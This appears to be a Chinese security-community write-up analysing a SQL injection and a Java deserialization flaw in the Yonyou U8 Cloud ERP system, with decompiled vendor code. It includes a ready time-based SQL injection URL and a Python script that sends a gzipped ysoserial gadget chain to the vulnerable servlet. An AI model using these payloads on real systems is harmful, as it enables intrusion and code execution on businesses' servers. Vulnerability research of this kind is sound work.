用友U8 Cloud系统

guangen2026-02-28文章来源:SecHub网络安全社区


用友U8 Cloud系统

FilterCondAction方法SQL注入

漏洞位置:nc\ui\bi\report\rep\FilterCondAction.class

漏洞分析

public ActionForward execute(ActionForm actionForm) { FilterCondForm form = (FilterCondForm)actionForm; String repID = this.getRequestParameter("repID"); AdhocModel adhocModel = (AdhocModel)BIWebRepUtil.getRepModel(this, repID); if (adhocModel == null) { return new ErrorForward(StringResource.getStringResource("mbirep0007")); } else { form.setRepID(repID); FilterValueDescriptor fvd = null; IAdhocAnalyzer[] anas = adhocModel.getDataCenter().getAnalyzerModel().getAnalyzerByType(0); if (anas != null && anas.length > 0) { FilterValueAnalyzer fva = (FilterValueAnalyzer)anas[0]; if (fva.getFilterValueDescriptor() != null) { try { fvd = (FilterValueDescriptor)fva.getFilterValueDescriptor().clone(); } catch (CloneNotSupportedException e) { AppDebug.debug(e); } } } if (fvd == null) { fvd = new FilterValueDescriptor(); } IColumnData[] refFields = this.getRefFields(repID); if (refFields != null && refFields.length != 0) { FilterCondTableModel model = new FilterCondTableModel(fvd, refFields); form.setFilterCondTableModel(model); this.addSessionObject(this.getClass().getName(), fvd); ActionForward actionForward = new ActionForward(FilterCondDlg.class.getName()); return actionForward; } else { return new ErrorForward(StringResource.getStringResource("mbirep0008")); } } }

看核心代码,repID接受传参

getRepModelgetRefFields进行调用

跟进getRepModelloadRepModelFromDB库紧跟调用repID

继续跟进loadRepModelFromDB,getByIDs继续跟进

最终来到漏洞点

public ValueObject[] getByIDs(String[] strIDs) throws ReportMngException { int iLen = strIDs == null ? 0 : strIDs.length; String sWhere = null; if (iLen != 0) { StringBuffer sbWhere = new StringBuffer(); sbWhere.append("pk_reportmodel in ("); for(int i = 0; i < iLen; ++i) { sbWhere.append("'").append(strIDs[i]).append("' "); if (i < iLen - 1) { sbWhere.append(","); } else { sbWhere.append(")"); } } sWhere = sbWhere.toString(); }

VouchFormulaCopyActionsql注入相同漏洞方法,单引号+括号闭合导致,拼接字符串并且无预编译处理

POC编写

NC路由规则:/service/~

识别模块:iufo

反射调用+sql拼接

/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1');WAITFOR+DELAY+'0:0:5'--

FileTransportServlet方法GZIP解压数据流反序列化漏洞

漏洞路径:nc\ui\iufo\server\center\FileTransportServlet.class

public class FileTransportServlet extends HttpServlet { private static final long serialVersionUID = -3409774309928672008L; public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { this.performTask(request, response); } catch (Exception e) { AppDebug.debug(e); } } public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { this.performTask(request, response); } catch (Exception e) { AppDebug.debug(e); } } public void performTask(HttpServletRequest request, HttpServletResponse response) throws Exception { GZIPInputStream input = new GZIPInputStream(request.getInputStream()); GZIPOutputStream output = new GZIPOutputStream(response.getOutputStream()); ObjectOutputStream objOut = new ObjectOutputStream(output); ObjectInputStream objInput = new ObjectInputStream(input); FileTransportVO transVO = (FileTransportVO)objInput.readObject(); UnitInfoVO unitInfo = IUFOUICacheManager.getSingleton().getUnitCache().getUnitInfoByCode(transVO.getUnitCode()); if (unitInfo != null) { String strUnitID = unitInfo.getPK(); ImportFileUtil.importFileByUnit(request.getSession().getId(), transVO.getContent(), strUnitID, transVO.getLangCode()); objOut.writeObject((Object)null); } else { objOut.writeObject(new UfoException("miufoexpnew00034", new String[]{transVO.getUnitCode()})); } objInput.close(); objOut.close(); input.close(); output.close(); } }

.readObject()->反序列化对象的方法

.writeObject()->序列化对象的方法

核心代码

GZIPInputStream input = new GZIPInputStream(request.getInputStream()); #解压缩客户端发送的GZIP数据 GZIPOutputStream output = new GZIPOutputStream(response.getOutputStream()); #压缩响应数据返回客户端 ObjectOutputStream objOut = new ObjectOutputStream(output); #序列化Java对象到输出流 ObjectInputStream objInput = new ObjectInputStream(input); #反序列化输入流到Java对象

重点是没有对数据流做限制,直接将其反序列化操作

FileTransportVO transVO = (FileTransportVO)objInput.readObject();

使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中


编写python脚本读取c.bin文件内容

import requests import gzip # 读取本地文件bin的内容 with open("c.bin", "rb") as f: content = f.read() # 对内容进行 GZIP 压缩 compressed_content = gzip.compress(content) # 目标 URL url = "http://目标地址/servlet/~iufo/nc.ui.iufo.server.center.FileTransportServlet" # 发送 POST 请求 try: response = requests.post(url=url, data=compressed_content) print("Response Status Code:", response.status_code) print("Response Content:", response.text) except requests.exceptions.RequestException as e: print("An error occurred:", e)